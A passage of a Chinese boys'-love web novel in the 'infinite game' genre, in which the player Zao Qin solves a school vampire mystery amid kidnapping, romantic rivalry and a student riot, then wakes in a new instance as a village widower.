从怀抱中出来。 一天不见而已,哪怕不吃不喝也不会瘦吧,更何况他吃了不少呢。 秦子率转而拉住他的手,他抽了抽, 没抽出来, 对方不跟他有点身体接触不舒服似的。 枣芩涨红着脸,转头跟他介绍,“这是宋呈的哥哥,那两位是他的同事。” 又向两人介绍秦子率,“这是秦子率。” 秦子率立马接着补充:“他男朋友。” 空气因为所有人都安静下来而显得凝固。 对面三人表情微妙变了变。 就连枣芩也是瞬间有点头晕。 他们还当他是宋呈的男朋友呢! 现在秦子率出来也说是男朋友, 他们三个该怎么看他。 枣芩不敢想。他尴尬到脚趾扣地了! 枣芩感觉呼吸微弱几分,忙扣了扣秦子率的手心,小声:“我们快点走吧……” “小芩同学。你、不是宋闵他弟的男朋友吗?”就这么水灵灵的说出来了。 枣芩瞬间从头红到脚,他短促“啊”了声,脑子空了,不知道自己该怎么说。 要说是误会吗? “呵。”秦子率听到这话,阴恻恻笑了声,“宋呈说的吗?他喜欢做白日梦这个坏习惯还没改。” 也不管当事人的亲哥哥还在现场。 两个同事对视一眼,瞥向宋闵的方向。 他站在那里,脸上看不出什么表情,但眉头轻轻皱起一点。 在那天检测现场,宋呈说出两人关系时,枣芩自己也是默认了的。 当天夜里,也承认了,说宋呈带他到小树林,丢下他走了。 面前叫秦子率的男人说出这话时,没有丁点的心虚,反倒是枣芩,悄悄地下了头,俨然心虚到不行的可怜模样。 同一个宿舍,偷偷谈了两个男朋友。 看着很纯,胆子大的要命。 宋闵没有揭穿他,而是和两个同事道:“你们误会了。” 其中那个在检测现场听到的同事还想再说什么,被宋闵闷沉沉视线对上,退后半步,咽了回去。 枣芩蓦然抬头,松了口气,虽然他也不知道宋闵为什么要帮他说话。 对上对方知道一切的眼神,他下意识半躲在秦子率身后,又说了句:“我们走吧。” 身上套着宋闵的黑色的大外套,一直遮到枣芩的屁股下面,像是偷穿了大人的衣服,把他严严实实罩住。 小脸白白粉粉跟朵花似的。 礼貌说了再见,关上门没走两步,秦子率问:“发生了什么事?” 枣芩原本紧张的心情刚松懈,此时又紧张起来,他斟酌一下,“嗯……见了下a区之前的朋友。” 如果说实话,秦子率没两句就会把过去的事情问出来,太丢人了。 “是吗?”秦子率的脸覆盖在阴影中,听不出什么语气:“有人给我打电话,说你要和我分手。” 枣芩抬起头,“?” 他立马知道肯定是李知樾干的。 “是一个男人的声音。” 秦子率酸溜溜接着:“他说你在他那里很开心,还说你父母都同意了,你们很早认识了。” 枣芩都来不及说话,他又说:“我是小三吗?” “没有!”枣芩都被他说出来这些话搞傻了,实在想象不到李知樾是什么样的表情说出这些话的。 他迅速否认,“不是的,不是小三,我也没有说过在他那里很开心,都没有,都是假的。” 急急忙忙解释自己没有出轨的小妻子一样。 秦子率:“他是谁?” “……”枣芩闭着嘴巴,不知道该怎么说。 一路上谁都没再说话。 秦子率眉峰皱着,真切感受到此时握在手心细嫩的手,眉头才松开。 秦子率进去就开始脱他的外套,他一动不动让脱下,对方便将黑色外套一抛,重重落在宋呈床上。 枣芩坐到自己的床边,脱了鞋上床,把自己蒙进被子里,郁闷塞满了整个被子。 秦子率拿着手机看了什么,面色不太好看的收回去,才发现枣芩已经安安静静去睡觉了。 他走过去坐在床边。 枣芩侧着身子,背对他。小半张侧脸白净细嫩,睫毛紧紧闭着。 秦子率没忍住轻轻碰了下他脸颊,睫毛立马颤颤,秦子率压低声音说:“芩芩,你先睡觉,我出去一趟。” 枣芩不想理他,敷衍:“嗯嗯。” 脸侧被轻轻吻上,枣芩气闷,懒懒瞪他一眼,眼底有层湿湿的雾气。 只是一眼,就收回去了。 秦子率气息促了促,叫了声“宝宝。” “……”枣芩不说话。 “是不是生气了,我不该问那么多。”秦子率几乎笼罩住他,俯下身子去看他的表情。 又收获了枣芩瞪他的一眼。 枣芩终于纡尊降贵开口:“明明是你。我不说,你就不理我了,还很凶的脱我的衣服。” “我在想事情,我怎么可能不理你。脱衣服是因为……不想让你穿着别人的衣服。”他几乎是趴在枣芩身上了。 嗅着他的味道,把一张脸凑上去,有点贱兮兮的,“你要不打我一下。” “不要……”枣芩真的很好哄,只是这么两句,心情就多云转晴了。“不打你。” 枣芩翻身,被子被扯上去,只露着毛茸茸的头发,声音透过被子有点闷,“你不是要出去吗,我要睡觉了。” 秦子率将被子扯下来一点,露出皮肤,在枣芩额头上亲了亲。 秦子率的脚步声离开后,枣芩就睡了过去,迷迷糊糊的,他感受到了自己的身体在移动、在颠簸。 像是在小船里摇啊摇。 枣芩缓缓睁开眼,浑身都被束缚着,动也动不了,眼皮也在打架。 他想要抽出自己的胳膊,却忽然听到一个有段时间没听到过,却给枣芩留下了很深影响的声音。 ——“醒了?” 枣芩仿佛当头冷水,瞬间清明。 面前是一张略低头的黑色面具,而自己正被他连人带被子裹着抱在怀里,不知要去什么地方。 “你干什么?!”枣芩奋力挣扎起来,可这被子把他裹得太严实。 01忙抱着他颠了颠,好在枣芩轻,被子也是薄被子。 枣芩被颠得有点慌,手指攥住被子布料,“大哥,你又抓我干什么?我、我男朋友等会还要回去呢,他肯定要来找我的。” 01笑了声,抱紧了些,“他已经被我杀了。” 枣芩根本不信:“?骗人。” 怎么可能,秦子率身高体壮的。 两人体型差不多,打起来肯定也要搏斗,这人身上看不出半点搏斗过的痕迹。 而且他也一点没听到。 绝对不可能。 枣芩思绪一片混乱,吵吵嚷嚷。 反应过来的时候,男人已经抱他进到一个小屋,随手开了灯,把门关上。 他弯腰放枣芩到床上,枣芩灵活一滚,被子立即就开了。 枣芩坐在床上,双眼都是警惕,发丝凌乱翘起一小撮头发。 不忘环顾自己在什么地方。 一个狭小的房间,和那天晚上男人强吻他那个小屋的大小一样,只是布局不一样。 有一张被收拾的很整洁的床,铺着干净的白色床单。 窗台上还放着一个透明玻璃罐花瓶,里面插着两只不知道哪里搞来的花,一支是白色,一支是粉色。 枣芩看着,有点像学校树林旁边种的那些。 地上还放着一个矮矮的木桌子,桌子下面铺着白毛绒地毯。 一个精心布置的小房间。 枣芩:…… 他有点搞不懂对方要做什么了。 仿佛是要圈养他似的。 脑子一闪而过这个念头,立马被枣芩打散。 灯光下,01浑身漆黑,面具森森。个子太高遮挡住一些光。 他手直接把枣芩大半张脸笼住,轻轻抚摸他的眼底, “接着睡吧,本来没想把你弄起来,明天早上过来看你。” 枣芩哪里还睡得着,但他也知道自己做什么都无用。 01拧开把手出了门,从外间拿起钥匙,又走出去。 外面正有人靠墙等着,“快点,这种时候了还想着你对象,你可真、” 对方话还没说完,01就紧接着:“不然呢,不想我对象想你?傻逼。” 他单手摘下面具,不远处灯光隐约照到他深邃的脸,深绿色的瞳孔散出几分不屑。 “秦子率,你有病?我这不是要夸你好男人吗?” 他也早了解秦子率这个神金性格了,“快点的吧。”。 01出去那瞬间,枣芩看到外面模糊的格局,不过也只是一瞬间,并没有看清。 他离开许久,枣芩才恍恍惚惚躺回床上,他总觉的在01身上闻到了很熟悉的味道。 枣芩本以为自己是睡不着了,可躺在床上,他翻了个身夹住被子。 再醒来时,肚子空荡荡的抗议。 鼻尖萦绕着股香味,他眼睛还没睁开就被勾出了口水,迫不及待撑着手臂爬起来。 那张小木桌子上此时正摆放着各式各样、色香味俱全的菜色。 香的辣的,都交织在一起,灌入枣芩的嗅觉。 他眼睛睁大,从床上下来,蜷腿坐在白色毛绒地毯上,微微张开唇。 好香…… 门锁被拧动,01单手拿着两杯果茶从外面进来,一杯放在枣芩面前,一杯放到他自己面前。 “开吃?” 枣芩用力点头。 吃自己喜欢吃的东西,枣芩倒是完全不需要人喂,脸颊鼓鼓的,就往嘴里塞。 吃饱后,他小口小口吮吸着饮料,西瓜的味道占据口腔,枣芩眯了眯眼睛。 对面的01正低头看着手机。 或许是男人脾气不错,还让他饱餐一顿,枣芩逐渐放松下来。他起身,见男人并无反应,便朝着门的方向走去。 枣芩缓缓拧动门把手,打开缝隙中,出现了学生会的布局。 黑皮沙发上还坐着两个学生,他们没有戴面具,侧脸露着一半。 枣芩错愕但并不惊讶。 忽然身后有人揽着他的胸口往后一勒,单手关上门。 枣芩回头,透过眼处的网纱仿佛看到了01无奈的神色。 他脑中很多东西徘徊,一些事情如同草蛇灰线,似有似无浮现起来被枣芩捕捉到。 他被01推回床边乖乖坐下。他眼睛眨了几下,问男人,“你认识秦子率吗?” 这么明目张胆的在学生会,还有这个小房间的钥匙,长时间也并没人找上来。 怎么看,都和学生会有关系,或者有什么合作。 01本要坐在他旁边,听到他的问题,高大身体滞了秒才坐下。 “你认识。”枣芩小声确定。 心中一下有了底,再看男人靠近他的动作,微仰起下巴,有点得意似的,“他是我男朋友。” …… 靠。 枣芩漂亮脸蛋上那骄傲的小表情,让秦子率浑身都被电流过了一趟,酥酥麻麻,心中滋生出蜜般的甜。 他好像不知道他有多迷人。 秦子率顿时很想抱他亲他,牙痒得不行。 这么想着,他就做了。 枣芩忽然被搂住腰,眼睛都瞪圆,那人喉咙中发出轻笑,黏黏糊糊揉着他的腰。 枣芩傻眼了,怎么也没想到,说了秦子率是自己男朋友后对方更兴奋了。 头发蹭着他脖颈,坚硬的面具硌在细嫩的皮肤上,枣芩喉中发出抗拒的声音。 男人自己也察觉到了,呼吸声粗重些,单手将面具往上推了一块,和那天一样,露出了下半张脸。 枣芩顿时惊慌不已,还没看,眼睛就被捂住,视线陷入黑暗。 脸侧传来湿热触感,李知樾给他买的宽松衣服下,一只粗糙的手一点点爬升,撩开衣角,触碰到细嫩敏感皮肤,肆无忌惮往上爬。 怎么会这样……? 枣芩讨厌死这个男人了,强吻了他,现在他只是吃了对方的一次饭而已。 明明知道他有男朋友了,还对他这样,一点都不尊重他。 “你不要碰我。”枣芩忙按住他还想向上的手,对方的手却像条狡猾的蛇,绕了个方向接着往上,抚摸着他覆盖着层薄薄皮肉的脊背。 已经无法阻止,摸到了不能被摸的地方,枣芩的意见好像一点都不重要。 他无可控制的气恼之下,一巴掌扇在男人脸上,因为看不见,他的方向微微偏移,一半打到对方的脸一半打到面具,手指疼得打颤。 第24章 第 24 章 亲完带我去找他? 枣芩大口喘息, 几乎是没费力气就扔开对方覆在自己眼睛上的手,错愕盯着这张熟悉的脸。 秦子率的面具被打的偏移,露着一半眼睛, 狼狈半挂在脸上, 还在发怔。 但枣芩根本没有那闲心看他傻不傻, 两个全然不相干的形象忽然重叠, 脑中许多东西串联在一起。 还有那股熟悉的味道,现在想来, 不正是秦子率沐浴露的味道吗? 他心中油然而生一种被戏弄的难堪, 抬着眼,没好气盯着秦子率。 看自己害怕惶恐, 自以为是说出男朋友是他的时候,是不是很好玩? 秦子率抚了下自己被打的脸,视线所及是枣芩气恼的表情,起伏的微鼓胸脯。 他瞬间慌乱起来, 忙开口:“芩芩,我、” “你滚开啦!”战战兢兢地被耍, 像一个小丑在他面前。 枣芩伸手抵在他胸口,推着人高马大的秦子率,没推动。 他嗓音带着喘,更气了, “你是不是有病啊, 欺负我很好玩是不是?秦子率。” “不是。”秦子率忙摇头,摊开双臂要去抱他,“你听我说好不好,我不是想骗你,我就是不想让你知道一些没必要的破事……” “什么破事?”枣芩细白手指指在他面具上, 按了按,仰头问:“这些事吗?” 秦子率视线因为枣芩的按动,被面具遮挡,他干脆将面具摘下,丢在一旁,整张焦急的脸露出来。 他保证:“你放心,我没有杀人。” “你没有就是其他人有,所以还真是学生会干的。”枣芩嘀嘀咕咕说完,他招架不来两种情绪,愤怒暂时被抛之脑后。 他垂下眼睛,若有所思问系统,【我可以填了吗?】 【可以。玩家请谨慎回答。】 【我填错了怎么办?】枣芩不敢笃定。 系统:【新玩家会有一次试错机会。】 枣芩缓缓点头,因为系统的话有了底气,握握拳,【那我要回答!是学生会,真正的吸血鬼是学生会!】 一定是。 【回答不足。】 ……? 枣芩没懂,原本胜券在握的表情变得呆滞,【什么意思,错误的意思?】 今天是任务的最后一天,如果今天枣芩完成不了任务的话,就会变成什么都不知道的npc。 灵魂被困住,一次又一次的循环。 他不是很想那样。 【请玩家自行探索。】 枣芩不解:【那、不是学生会还能是谁呀?他们自己都承认了。】 【请玩家自行探索。在面对问题的时候,请做好成功与失败的双重准备。】 枣芩因为系统的语焉不详,肩膀耷下去。 这是让他做好变回npc的准备呗。 枣芩自我安慰起来,其实什么都不知道的话,也挺好的。 “秦子率。”枣芩叹了口气,抬脸与他对视,秦子率目光灼灼烫着他。 他忽然神色恹恹说:“我们分手吧。” “不行。”他表情一怔,直接抱起枣芩坐在床上,枣芩则坐在他大腿上,他把头埋进枣芩颈窝,大狗一样,“枣芩,不行。” 枣芩是为了让秦子率帮他回a区才在一起的,今天是最后一天,他现在不需要回a区了。 如果下一个循环,他肯定也不记得秦子率可以帮自己了。 不如有头有尾。 “我不同意。”秦子率头轻轻抵着枣芩,“分手也是两个人的事情,我们在一起我也征求了你的同意,你分手也要我同意才行。” 灼热呼吸喷洒在枣芩的脖颈,他一痒,没忍住躲了下。 枣芩刚想说什么,福至心灵,忽然想起一个人,“对了,你知道宋呈在哪里吗?或者你借我手机也行,昨天晚上你把我的手机落在宿舍了。” “你要和我分手,去见他?”秦子率简直不敢相信,看着枣芩嘴巴张开还要说什么,他也不想听了,反正都不是他爱听的。 他憋闷不已,“不许说了,你再说我要亲你了!” 枣芩一愣,后知后觉抿住嘴巴,过了一会又张开,“那你亲完带我去找他?” 秦子率听到了什么东西碎掉的声音。 之前每次亲亲都是抗拒的,但现在为了去找宋呈,都愿意主动让他亲了。 好好好。 “外面现在很危险……”秦子率被他有些失落的眼神看着,半分钟后,眼看着枣芩睫毛颤颤,妥协说:“好,带你去找他。” 枣芩眼睛瞬间亮起来。 他抱着枣芩,当着他的面给宋呈发了消息,【等会回宿舍一趟。】 过了两分钟,对面没回。 【我对象想见你。】 打出这几个字,枣芩忽然回头瞪他,语气不悦,“枣芩想见他。” 他点点头,删除,重新输入:【我对象枣芩想见你。】 枣芩:…… 对面几秒就回复:【在回去的路上。芩芩注意安全。】 秦子率按灭手机,找来一顶黑鸭舌帽,枣芩有些不明所以,但还是乖乖让他给自己戴上。 鸭舌帽也不大,从秦子率的视角看,却把枣芩的脸遮了大半。 从学生会出去,枣芩在帽檐下探出视线,一路上发觉整个b区空了似的,一个人也没碰着。 他跑到一个可以看的到外面的窗户眺望,够着身子几乎探出窗外,朝左侧看去,视线凝住。 密密麻麻的人头,全都推挤在ab区之间的铁门门前,铁门被拍动,被爬上去。 枣芩距离很远都能听到他们在喊什么,他眉头皱起,心跳莫名加速。 好像有“吸血鬼”三个字。 他被秦子率强制抱了回来。 宿舍区同样空无一人,随意推开一间宿舍门,里面都是空荡荡的。 枣芩握着门把手的手紧了紧,快步跑回宿舍开了门,他有些气喘吁吁的微弯腰。 宽大的T恤胸口大敞,粉嫩圆润的尖尖一闪而过,在宋呈怔住的视线只停留了一秒。 因为他迅速上前掩饰般抱住枣芩,目光还有些发直。 枣芩被迫直起腰,挣扎了下,他身形单薄,整个陷进对方怀中,一时没挣扎出来。 “干什么呢?”秦子率刚追上来,看到的就是这一幕,一把将宋呈的手臂给扯开,眼神跟刀剐似的。 枣芩趁机从旁边钻进宿舍,跑到自己床边,在枕头底下找出手机。 他视线专注翻找着东西,果然,班级群这个向来没人说话的地方,消息堆积了99+。 在窗户看到那一幕的时候,枣芩就觉得肯定发生什么事情了。 那些文字让枣芩心脏揪了揪,他咬住唇,下意识磨着。 忽然明白了,秦子率所说的危险。 【我们班有同学死了,是他们杀的。】 【我们也得死,死了这么多人都没人管,如果我们不做点什么,也只有死路一条啊】 【名单上的人一个都逃不了,吸血鬼,助纣为虐的人类。这跟把自己人端上餐桌有什么区别??】 【只有五十多个人而已,难道我们这么多人还反抗不了他们吗?】 【我们只要逃出去就好了,别的就算了吧……】 【今天走出去就是走出去了吗???他们权势那么大,我们必须要让外界知道这一切,之前第一次死人的时候警察没来吗?有用吗?】 名单…… 枣芩打开群文件,果然有一个名为【吸血鬼】的文件。 如他们所说,里面是一条长名单,每一个名字下面,都配有一张一寸照。 枣芩只是略略一看,就看到了好几张熟悉的面孔,都是他在a区的朋友,还有唐彦铭他们。 再往下滑,还有李知樾。 枣芩扣着自己的手指,瞬间心底涌现一点委屈,他从来伤害过人类。 在群聊天记录中一搜索,居然还搜出几十条和他名字有关的消息。 他不太敢看,放下手机,最终还是半眯着眼睛扫了一眼。 【枣芩是吸血鬼?假的吧】 【没看到枣芩有牙,嘴唇也很红,不像。】 【我们可以枣芩抓起来,他有罪,应该受到惩罚,可以试试怎么样才能把他的牙弄出来。】 【我好像看到他了,他在b区,应该就在他的宿舍。】 枣芩:?! 他恍惚放下手机,没忍住舔了下自己的牙齿。 正在看的界面被一只手滑动,退了出去。 秦子率看到那些言论,眉头皱的死紧,“不会有事的。” 枣芩回头看向宋呈,问:“那天你也被抓起来了吗?” 宋呈细碎黑发半遮着眉眼,在枣芩看过来时收敛晦暗眼神,他缓缓摇摇头,“没有。” “哦,原来只有我被抓起来了。”枣芩觉得自己果然好弱,他带着些控制不住的小小嫉妒,轻轻瞥了对方一眼。 但是,他现在觉得自己还是挺聪明的。 枣芩手指紧攥手机,攥的指骨发白,他心脏砰砰跳,快步进了卫生间,把两人反锁在门外。 他又反复翻了几下手机,才把系统叫出来,琥珀色的瞳孔碎光发亮,【系统,我有答案了!】 “卧槽。”秦子率见枣芩听了宋呈的话,就转身进了卫生间,转头质问他:“什么意思,你刚刚在说什么没有。” 宋呈瞥了他一眼,没说话。 秦子率被他看的来气,“你看不出来他生气了吗?” 宋呈微顿,后知后觉反应过来什么,开口说,“那天一起去a区,遇到你们学生会的,他被抓了。” “我也在找他,但是发现他被转移了。” …… 秦子率嗤笑一声,面带讥讽,“你怎么没被抓起来?你不就是没保护住他吗?” 宋呈侧眼,他曾经说过会好好保护枣芩。 确实是因为他,一时没注意,枣芩才被抓的。 宋呈来到门前,指骨敲击几下,语气略显僵硬,“枣芩,芩芩。” “不会有下次了。” 随后,空气便陷入了冗长的沉默。 …… 【不是……哒哥?】 【你别太离谱,喊声宝宝芩芩么么哒有那么难吗?让老二来。】 【别装了行吗?strong哥】 没了? 秦子率也不敢相信自己听到了什么。 如果枣芩真的和他在一起,只会受尽委屈,被欺负的躲在被子里哭,也只能得到一句“别哭了”。 这人完全是个哑巴。 “让开。”秦子率将宋呈撞开,一声“废物”从口中滑出。 秦子率身高更高也更壮一些,毕竟有些许欧洲血统,让他天然比别人在身体上多些优势。 他巴巴的耳朵贴着门,黏黏糊糊的语气说:“宝宝,知道你不开心,我的心好疼,你出来喝口水吧,好不好?” 宋呈脸色控制不住的扭曲些许。 门把手却被从里面拧开了,枣芩小脸探出来,白净脸蛋透着薄红,覆着一层薄薄的水,湿漉透亮。 虽然眼睫上挂着小水珠,但看不出一点难过之色。 “我没不开心,我洗了个脸。” 秦子率也不觉得尴尬,快步拿来自己的毛巾,帮枣芩擦干脸上的水珠,他也乖乖仰着脸蛋。 宋呈手指握了握,想上前,但不知道自己该做什么。 与此同时,枣芩以为是自己耳鸣,听到几秒尖锐刺耳的声音。 看到秦子率与宋呈的表情,他立马意识到不是耳鸣,是真实存在的。 那声音随即消失,变成了人声。 任务的最后一天,仿佛是天空中的纸张被雨水挤压的撑不住了,全部冲下来。 巨大的校园广播荡出男声,他用一种故作正经的腔调,却遮掩不住他语气下的一点戏谑。 “最近我们b区接连发生了、惨绝人寰的杀人案!我们对外界的联系被切断,校门被封锁,我们的朋友一个接着一个死状凄惨。都说是学校了隐藏吸血鬼。是没错。” 高高瘦瘦的男生吊儿郎当坐在广播室的椅子上,对着黑色的麦克风即兴发挥。 他耳垂银色的耳钉反射着手机上的光,而手中的手机上面正是枣芩的一寸照。 照片中的男生被拍得柔软乖顺,完全不是与他第一次遇见时,那个骄纵坏脾气的样子。 仅仅因为别人背后一句随意的议论,就委屈地不得了,颤着睫毛,上前当面对质。 【终于到我最期待的环节了,搞乐子!给其他玩家添乱子】 【搞什么乐子,怎么不去偷窥小美人了,谢谢,我已经对搞乐子祛魅了。】 第25章 第 25 章 顺利通关 他声音顿了顿, 按灭了手机,唇角翘起弧度。 “我们b区,和我们同样出生底层的学生会, 为了a区的吸血鬼杀害同胞, 交换利益。 将我们一个一个杀死, 他们把我们当做猪狗牛羊、畜生不如的血包, 然后明目张胆抛尸学校。” “有人试图报警求助外界,不仅没有换来正义, 反而死不瞑目。我们以为努力学习就可以改变命运, 但事实上,在他们眼中只是一场低俗的笑话。” “那一条条从鲜活到干瘪的躯壳, 他们有朋友,有家人。死去的那些同学,他们的爸爸妈妈和你我的父母一样……” “被残忍杀害的是你的朋友,或许下一个就是你, 你的家人。同学们,我们……” 他叹了口气, 仿佛在压下自己发颤的声音,“我们是不是应该做点什么,起码,被外界看到, 有一个迎来正义的机会。” 枣芩愣怔在原地, 仰头听着。没忍住咬住唇,他侧头看向秦子率。 作为被提及的学生会,他或许应该紧张才对,可秦子率微妙松了口气,仿佛一直悬着的石头终于落地了。 以一种他从未想过的方式。 广播中的声音还在继续。 “此时此刻, 学生会、吸血鬼,都在这所学校。同学们,这是一场为了拯救自己的起义。” 男声说完,一直携带着的电流声也因关闭而消失。 同时,系统的声音在枣芩脑海中响起。 【因高级道具加持,副本时间流速变快,请所有玩家做好准备。】 好像有人等不急要做什么事情了。 枣芩诧异,还能这样? 宋呈显然也听到了,他眉头拧起,周身冷凝气息冰冻。 他忽然拉住枣芩的手腕,拉到储物柜前,翻找出他的化妆品。 枣芩表情傻傻的,任由对方涂抹东西在他脸上,将他原本的模样略一覆盖。 只要能增加别人的辨认成本都算有用。 “宿舍有没有你必须要带的东西?”宋呈问。 口吻像是要一起逃亡或者私奔,最后的询问。 枣芩一时想不起来,他摇摇头,老老实实回答:“应该没有。” “那就好。”说完,他就拉着枣芩的手推开门离开。 【这广播,好眼熟的操作…不会是那谁吧】 【涂晋。我之前就来通风报信过,不过一般涉及到有用信息的,主播都不会看到。】 【素的,像上次涂晋偷窥芩芩和秦狗在宿舍…,在直播间发让主播回宿舍,这种他就看到了,因为系统判定这和任务无关】 【好伤心,我的眼泪汪洋大海了,今天之后我还能再看到芩芩吗?】 【老婆,你不在了,我还活着干什么,不活了,活不了一点了】 因为这么两条,就引发了海啸般的哭嚎。 枣芩脚步被迫因为宋呈加快,鼻尖出了点薄汗,“我们去哪?” “离开。”宋呈言简意赅,步伐加快。 秦子率原本还愣着,他们一出门迅速没好气跟上。 这算什么?明明是他的对象。 广播一定程度上放大了b区学生们的决心,原本还在摇摇摆摆,因为这些话都被激出了气性。 枣芩是吸血鬼名单中,唯一在b区的,别提多显眼了。 他们快到楼梯口时,听到了在上楼梯的嘈杂脚步声,还有男生们对话的声音,回荡在楼道。 听声音过来的起码十来个。 “枣芩真的在他宿舍?” “不知道,去看看,如果他也吸了血,我们……” 谈论的话题还是关于枣芩。 宋呈眼中划过不耐烦,拽着枣芩,三人就近直接闯入一间宿舍,将门合上,在里面反锁。 枣芩僵在原地,心脏跳动的声音自己都能清晰听到的,不停跳动在耳膜的嘭嘭声。 怀中的手机连着响好几下,他心脏一紧,尴尬的连忙掏出来静音,在两个男人监控头一般探究的视线下。 枣芩手微顿,输入密码。 烬:【你在哪?我是李知樾。是不是在b区,我派人去接你。】 烬:【我过去找你,先保证自己的安全。】 烬:【未应答】 枣芩看到名字又看内容,瞳孔一震,非得在这种时候和他掉马吗? 可他根本来不及多想了。 之前建立的那个群,还弹出十几条消息,枣芩怕再看到什么震惊他的消息,没有点开。 苍白着手指把手机塞回口袋里。 他被两个身型高大的男人夹在中间,那么大的宿舍,非得都挤在他身旁。 外面几人的声音从门前过去,他们明显是直接奔着目的地去的,一点时间都不愿意耽误。 开了门,三人立马就朝着楼下去,钻进树林。 中间门此时大敞着,原本聚集着密集人头的位置,此时空无一人,都过去了。 “我带你出校门。” “我们去学生会找人。” 两人不同音色同时响起,视线也同时看向枣芩,枣芩一时都不知道先看谁。 被拽着手,陷入了选择,就像电视剧似的,要在两个男人之间进行抉择的桥段。 他吞咽口水,慢吞吞说:“我们先去a区吧,他们很快就会找上学生会了。” 宋呈紧绷的唇角松懈,“对。” 秦子率也没有就此跟他们分开,而是和他们一起朝着a区过去,紧紧跟着枣芩。 护卫犬似的,就是要跟着。 天色沉下来的速度快的肉眼可见,晦暗天色下,a区表面上看不出混乱。 明显的变化是从a区一间窗户从里面破开,着起橙红色火焰,冒出浓烟开始的。 一批a区的学生尖叫着从楼里跑出来,全都朝着校门去,大批学生堆积在校门口,无论尖叫还是拍门,如何也出不去。 枣芩心想,好像还不够。 他转头问宋呈:“我好像看到付凯宁进去了,你要去吗?” 宋呈摇头,“不去。”他垂眼去看枣芩,“我只要守着你就好了。” 秦子率感觉自己这个当男朋友的被排挤了。 语气很冲,“什么意思?他用得着你守?” 宋呈不理他。 枣芩倒冲他笑了下,甜甜的。 他却有种不祥的预感,忙攥住枣芩的手,握在手心摩挲。 天已经黑成深夜的颜色,快到秦子率也意识到了不对。 火势大到要把天烧红,仿佛成了晚霞,校门外面终于响起了第一道声音,消防车的声音。 所剩无几的学生全都跑了出来。 “枣芩?……枣芩在那里!”忽然有人大喊。 枣芩还没看到是谁喊的,旁边的宋呈已经拉着他朝着校门跑去,边跑还不忘说,“秦子率没跟上。” 枣芩:? 他也快跟不上了。 枣芩鼻子呼吸不过来张开唇,整张脸跑得通红。 视线尽头,门被缓缓打开。 两人来到高松巍峨的大门前,因为上次靠近大门的经历,枣芩靠近的那一刻总觉得会自动退几米,但事实并没有。 宋呈死死扣着枣芩的肩膀,火光倒映在他眼中,像是烧起来了,“你愿意跟我走吗?” 【不要答应!】系统声音蓦然响起。 他解释:【如果你同意了,之后你就成为他的附属品,他可以对你做任何事情,甚至掌控你的生命。】 这是第一次,系统的声音透出接近人类的急切语调。 枣芩说:【不要着急,我不会答应……】 门缓缓打开的瞬间,原本堵在门口的人都挤了出去,肉\体消失不见。 【任务进入倒计时。】 似乎看出了枣芩的犹豫,他眼中泛起难以遏制的急色,“我愿意把我的一切都给你,同意好不好,我会永远对你好,永远喜欢你。” 枣芩睁大眼,“你喜欢我?” “我爱你!”宋呈表情有些崩裂,“你只要说句我愿意。” 枣芩抬起琥珀色眼睛,安静靠近他两步,他低头,宋呈距离大门只有半步的距离。 向来没什么力气的枣芩忽然伸手,用尽全力猛地推了他一把,宋呈一个踉跄,后退半步,出了校门。 宋呈瞳孔发颤,恍惚间湿润起来。 最后一秒,他听到枣芩说:“你也填了两个答案吧?” 宋呈彻底消失在枣芩的视线中,枣芩才松了口气,心里绷着的弦没了。 如果因为他的原因把宋呈耽搁了就不好了。 不远处的青年失望靠在墙上,闭了闭眼,自言自语:“为什么不同意?” 这个普通副本白白浪费涂晋一个高级转移道具,一个高级加速道具,中级的就别提了,一大堆。 不肉疼是不可能的,几乎是搭上了全部家当。 但或许是因为听到枣芩的那句话,他没再想怎么补救,转身走出校门。 枣芩看着追过来表情变了几变,最终接受一切,静静看着他的秦子率。 “你、”秦子率要说什么。 枣芩“嘘”了声,他走进秦子率,左手招招示意他低下头来。 在秦子率和往常很多次微微弯腰的那刻,枣芩在他轮廓分明的脸颊亲了一下,小声说:“谢谢。” 【恭喜玩家“枣芩”顺利通关】 【剧情完成——88%】 【身体安全——100%】 【积分奖励300】 …… 【系统,我做了两个任务,还走出校门了!有什么奖励吗?】枣芩语气激动。 系统:【没有的,玩家的奖励都根据任务发放。您的任务只有找出吸血鬼。】 枣芩失落:【噢。】 【但是您有一个抽奖,选择下一个副本。】 【这算什么奖励,不还是控制不了,我不用……】 枣芩趴在自己小房间的大床上,白色短袖的衣摆都已经堆到了腰腹上面,他也不在意。 毕竟除了他以外这里没有任何人。 80平的屋子,是生死之界分配给他的。 也是他走出虚假副本的第一个落脚点。 他完成任务之后,就来到这个房间,还没有出去过。 也不是他不想出去看世界,是他不敢出去。 房间客厅内,有一张电视屏幕大小的半透明屏幕,可以手动浏览,上面有很多分区,外卖网购服务都有。 而上面最大的分区是红色的【hot】,是所有最热最新的东西。 枣芩大着眼睛,好奇点开,就愣住了。 上面是张他在副本中的一寸照,写着赏金十万。 但在枣芩看到的那一秒,就凭空消失,像是被删除了。 也属于是在重金悬赏了…… 哪怕被删了,枣芩也出去不了一点。 他第一怀疑就是宋呈,发觉被他骗了之后的恼羞成怒! 在生死之界待一天需要50积分。 枣芩待了三天,剩下的用来吃吃喝喝买东西,没多久就花完了,他也做好了去下一个副本的准备。 哪怕知道去了就不是这身衣服了,枣芩还是洗了澡换好新买的干净衣服,乖巧站在客厅正中央,【我准备好啦,系统。】 …… 【你是好吃懒做的寡夫小土帽,谁有钱你跟谁。丈夫死后他或许会来找上你。】 【任务——是谁杀了可怜小寡夫的丈夫?】 枣芩感觉自己鼻腔喉咙都被灌了水,火辣辣的难受,眼睛也涩疼睁不开,浑身一点力气都没有。 有中年女人在喊,声音带点哭腔,“宋平!你老婆淹死了!” 在说我吗? 枣芩迷迷糊糊的想,他还没死呢,还能再抢救一下的。 他意识昏昏沉沉,有人在他胸口用力按了按,力气大的快把他肋骨要按断了,枣芩感觉从喉咙涌上一口水,吐了出来。 枣芩眼睛微微睁开,在女人欢喜的“醒了醒了”之下,被刺眼的大太阳一晒,枣芩眼前一黑,继而又昏过去。 那中年女人更急了,“宋平,赶紧把你老婆带回去,没淹死也要中暑了!” · 粗粝宽大的手从腰上爬升,像是糙火舌,刺激得枣芩一颤,一直爬升,按在了凹陷下去的背沟。他的身体单薄,细嫩如豆腐似的。 枣芩想躲,嘴唇却被忽然叼住,湿热热地又啃又舔。 “唔……”不要。 枣芩意识逐渐恢复,就是他身体被抱着,一个男人边把他往炕上抱边亲他嘴巴,手上也不老实。!!什么傻逼副本? 第26章 第 26 章 兴趣与性趣 喉中呜咽, 枣芩伸着柔白的手摸上那人比他粗糙些的脸,对方呼吸一重,开始撬他紧闭的嘴巴。 